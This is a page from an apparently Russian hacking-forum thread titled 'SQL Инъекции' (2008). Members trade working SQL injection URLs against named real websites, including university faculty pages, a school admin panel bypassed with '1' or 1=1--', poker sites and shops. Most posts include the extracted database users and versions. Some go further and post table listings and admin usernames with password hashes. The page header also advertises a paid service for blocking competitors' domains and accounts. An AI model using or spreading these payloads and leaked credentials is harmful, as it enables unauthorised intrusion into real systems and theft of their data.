SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 500 из 1602

500

Опции темы

Поиск в этой теме

Опции просмотра

15.03.2008, 01:07

t0ox

Новичок

Регистрация: 23.10.2007

Сообщений: 17

С нами: 9763510

Репутация: 46

Цитата:

http://www.maxkids.pl/?id_p=0+UNION+SELECT+1,2,3,4,5,6,7,8/*
http://www.maxkids.pl/?id_p=0+UNION+SELECT+version(),2,3,4,5,6,7,8/*
http://www.maxkids.pl/?id_p=0+UNION+SELECT+login,2,3,4,5,6,pass,8+from+u ser/*
PR: 4
4.0.22

Цитата:

http://www.badorgood.com/detail.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9/*
PR: 5
5.0.45-community-log

Германия Авто - официальный дилер Volkswagen (Фольксваген) в Рязани

Цитата:

http://www.germania-auto.ru/cars/?type=0&id=-1+union+select+1,version(),3,4,5,6,7/*
5.0.24-standard

Цитата:

http://www.eifeltour.de/index.php?type=subitem&item=uebernachtung&id=-1+union+select+version(),2/*
PR: 4
5.0.26

𝕏 Twitter Reddit Telegram Копировать ссылку

15.03.2008, 01:15

FraiDex

Участник форума

Регистрация: 16.06.2006

Сообщений: 179

С нами: 10475029

Репутация: 135

Сайт какой то школы
http://www.cvsd.org/admin

в поле username: вводим

Код:

1' or 1=1--

и попадаем в админку

ЗЫ я думал эта бага уже в прошлом...

фаг.. уже прикрыли.

Последний раз редактировалось FraiDex; 15.03.2008 в 15:59..

14.03.2008, 13:40

Dr.Z3r0

Leaders of The World

Регистрация: 06.07.2007

Сообщений: 246

С нами: 9920546

Репутация: 1796

Так вот вообщем скину вам скули что насоберал в едушках. Собственно это те едухи что не смог похенкать либо впадлу брутить имена таблиц во всех 4ых ветках.

apps.sais-jhu.edu

Код:

http://apps.sais-jhu.edu/faculty_bios/faculty_bio1.php?ID=-67 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
saisforu_gjbarru@localhost : 4.1.22-standard : saisforu_faculty

biomedical.rutgers.edu

Код:

http://biomedical.rutgers.edu/faculty.php?id=-7 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()),7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
bme@coewww.rutgers.edu : 4.1.21 : bme

blogsforlearning.msu.edu

Код:

http://blogsforlearning.msu.edu/articles/view.php?id=-7 UNION SELECT 1,2,3,UNHEX(HEX(CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()))),5,6,7,8,9/*
4.1.13a-log : blogsforlearning@tempcas.cas.msu.edu : blogsforlearning

dma.ucla.edu

Код:

http://dma.ucla.edu/people/faculty.php?ID=-9%20UNION%20SELECT%201,2,CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()),4,5,6,7,8,9,10,11,12,13,14,15,16/*
dma@constitution.design.ucla.edu : 4.1.20 : dma

duckhenge.uoregon.edu

Код:

http://duckhenge.uoregon.edu/io/article.php?id=-766 UNION SELECT 1,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
5.0.32-Debian_7etch1-log : io@localhost : io

experts.uchicago.edu

Код:

http://experts.uchicago.edu/experts.php?id=-174 UNION SELECT 1,2,3,4,CONCAT_WS(0x203A,USER(),VERSION(),DATABASE()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*
www@localhost :4.0.24-standard :newsoffice
FILE_PRIV=Y

journalism.berkeley.edu

Код:

http://journalism.berkeley.edu/events/details.php?ID=371 UNION SELECT 1,2,3,4,5,6,7,8,9,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55/*
4.1.22 : jschool@localhost : events

llk.media.mit.edu

Код:

http://llk.media.mit.edu/projects.php?id=-783 UNION SELECT 1,2,3,4,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),6,7,8/*
4.1.20 : llk@www2.media.mit.edu : llk

newmedia.cdws.ucf.edu

Код:

http://newmedia.cdws.ucf.edu/pressBoxArticle.php?id=15' AND 1=0 UNION SELECT 1,CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()),3,4,5/*
newmediawww@localhost : 5.0.24a-community-nt : newmediawww
PS там wordpress но там хрень какаято

qt.exploratorium.edu

Код:

http://qt.exploratorium.edu/cils/resourcelist.php?categoryID=-287 UNION SELECT UNHEX(HEX(CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE())))/*
resource_centers@qt.exploratorium.edu : 4.1.15-log : resource_centers

urology.jhu.edu

Код:

http://urology.jhu.edu/about/faculty.php?id=59' AND 1=0 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
4.1.20 : users@localhost : WEB

www.agi.harvard.edu

Код:

http://www.agi.harvard.edu/events/download.php?id=-94 UNION SELECT 1,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
4.1.20-log : agi@socrates.harvard.edu : agi

www.choices.edu

Код:

http://www.choices.edu/resources/detail.php?id=-26 UNION SELECT 1,UNHEX(HEX(CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
choices@charlie.services.brown.edu : 4.1.14-log : Choices

www.ee.virginia.edu

Код:

http://www.ee.virginia.edu/profile.php?ID=-8 union select 1,2,3,4,5,6,7,CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()),9,10,11,12,13,14,15,16,17,18,19,20,21/*
php@localhost : 4.1.20 : ECEWeb

www.eng.wayne.edu

Код:

http://www.eng.wayne.edu/page.php?id=-1505 UNION SELECT 1,2,3,4,5,6,7,8,UNHEX(HEX(CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()))),10,11,12/*
coeweb@localhost : 4.1.13-standard-log : coeweb
FILE_PRIV=Y

www.psych.ucla.edu

Код:

http://www.psych.ucla.edu/Faculty/faculty.php?area=3&id=47 AND 1=0 UNION SELECT 1,2,CONCAT_WS(0x203A20,USER(),VERSION(),DATABASE()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
psychweb@phoenix.lifesci.ucla.edu : 4.0.15 : psychadmin

Ну и для супер извращенцев 3 ветки мускуля:

Код:

http://wagner.nyu.edu/news/newsStory.php?id=525 AND 3=SUBSTRING(VERSION(),1,1)/*
http://ux.brookdalecc.edu/content.php?ID=114 AND 3=SUBSTRING(VERSION(),1,1)/*
http://bti.cornell.edu/pgrp/pgrp.php?id=602' AND 3=SUBSTRING(VERSION(),1,1)/*

__________________

Кто я?..

15.03.2008, 00:37

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

2 Sleep

ВСЕ БОЯНЫ и не по одному разу!!!!!!

eutrainingsite.com

_http://forum.antichat.ru/showpost.php?p=577638&postcount=4681
_http://forum.antichat.ru/showpost.php?p=433407&postcount=2863

kino.ru

_http://forum.antichat.ru/showpost.php?p=572859&postcount=4635
_http://forum.antichat.ru/printthread.php?t=21336&page=116&pp=40
_http://forum.antichat.ru/showpost.php?p=315548&postcount=1216

eipcprograms.com

_http://forum.antichat.ru/showpost.php?p=616782&postcount=5131 -2 страницы назад
_http://forum.antichat.ru/showpost.php?p=594249&postcount=981

Блин какой смысл в антибояне?????
Зачем текст в первом посте???
Это конечно не моё дело,но давайте уважать друг друга в ветке и так >500 страниц

15.03.2008, 04:09

xcedz

Познавший АНТИЧАТ

Регистрация: 14.01.2008

Сообщений: 1,165

С нами: 9644006

Репутация: 3099

Кто хочет сорвать джек пот? четверка, таблы не брутил

Код:

http://www.epokerindex.com/poker_room_review_blank.php?roomId=-55+union+select+concat(version(),0x3a,user(),0x3a,database())/*

инфо

Цитата:

Warning: SQL: SELECT * FROM pDefaultRoomReview WHERE networkId = 4.1.11-Debian_4sarge7:db12688@10.1.3.19:db12688_epokerind ex LIMIT 1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.11-Debian_4sarge7:db12688@10.1.3.19:db12688_epokerind ex LIMIT 1' at line 6 in /home/12688/domains/epokerindex.com/html/obj/obj_SQL.php on line 28

Последний раз редактировалось xcedz; 15.03.2008 в 04:12..

15.03.2008, 11:32

Sleep

Участник форума

Регистрация: 31.10.2007

Сообщений: 193

С нами: 9752260

Репутация: 150

Сорри,Сории,Сорри

Код:

http://www.columnists.com/index.php?ID=-11+union+select+1,2,3,4,5,6,table_name,8+from+information_schema.tables/*

Код:

http://www.eipcscreensavers.com/product.php?id=-11+union+select+1,version(),user(),4,5,6,7,database(),9,0,1,2,3/*

Код:

http://www.yogacenter.ru/page.php?id=-11+union+select+table_name,2,3,4,5+from+information_schema.tables/*

Код:

http://www.poweringmuscles.com/sports_science.php?id=-11+union+select+version()/*

Код:

http://jazz.koktebel.info/participant.php?id=-11'+union+select+1,2,3,4,5,6,version(),user()/*

Последний раз редактировалось Sleep; 15.03.2008 в 11:59..

15.03.2008, 12:26

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

Еще одно казино ,кто выиграет не забудте про меня

_http://www.cardwolves.com/pokerlist.php?room=-7+union+select+1,concat_ws(0x3a,User(),Database(), Version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25/*

praetor_access@localhost

raetor_cardwolves:5.0.27

Часть таблиц:

_http://www.cardwolves.com/pokerlist.php?room=-7+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25+from+infor mation_schema.tables+limit+16,1/*

abuse
admin_rights
admin_users

Таблица admin_users:

_http://www.cardwolves.com/pokerlist.php?room=-7+union+select+1,column_name,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25+from+info rmation_schema.columns+where+table_name=0x61646d69 6e5f7573657273+limit+0,1/*

user_id
user_active
user_name
user_email
user_password

И хеш суперадмина

_http://www.cardwolves.com/pokerlist.php?room=-7+union+select+1,concat(user_name,0x3a,user_passwo rd,0x3a,user_email),3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25+from+admin_users+l imit+0,1/*

superadmin:325c3ec0b351a639068d2fb913919bde:admin@ cardwolves.com

xcedz вдохновил(хотел репы добавить-не даёт)

15.03.2008, 16:08

neon_fx

Познающий

Регистрация: 22.02.2008

Сообщений: 74

С нами: 9587456

Репутация: 120

всем привет
http://www.goldsys.com/index.php?load=content&page_id=-23+union+select+1,2,user(),version(),database(),6, 7/*
gold@localhost
goldDB
4.1.20

15.03.2008, 17:55

ReVOLVeR

Участник форума

Регистрация: 02.09.2006

Сообщений: 176

С нами: 10362626

Репутация: 327

_http://handbook.ecu.edu.au/CourseStructure.asp?disyear=2008+and+1=1--&CID=1&USID=0&UCID=0&UID=0&Ver=0&HB=HB&SC

Microsoft VBScript runtime error '800a000d'

Type mismatch: '[string: "2008 and 1=1--"]'

/CourseStructure.asp, line 2025
2008 and 1=1-- ON-LINE HANDBOOK

#10

15.03.2008, 21:34

~~ThreeD~~

Banned

Регистрация: 25.12.2006

Сообщений: 179

С нами: 10198073

Репутация: 354

http://www.brightstar.com.tw/product_info_e.php?UID=-772'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,concat_ws(0x3A3a,name,pwd),20,21,22,2 3,24,25,26,27,28,29,30,31,32,33+from+admin/*

�B��::*FEEF1A11AAEC0B57C55019116A56ACFA47B2 8417
�� ::*0DCC24D4F0A18E3B84417DC07EB08AEF1BE008E2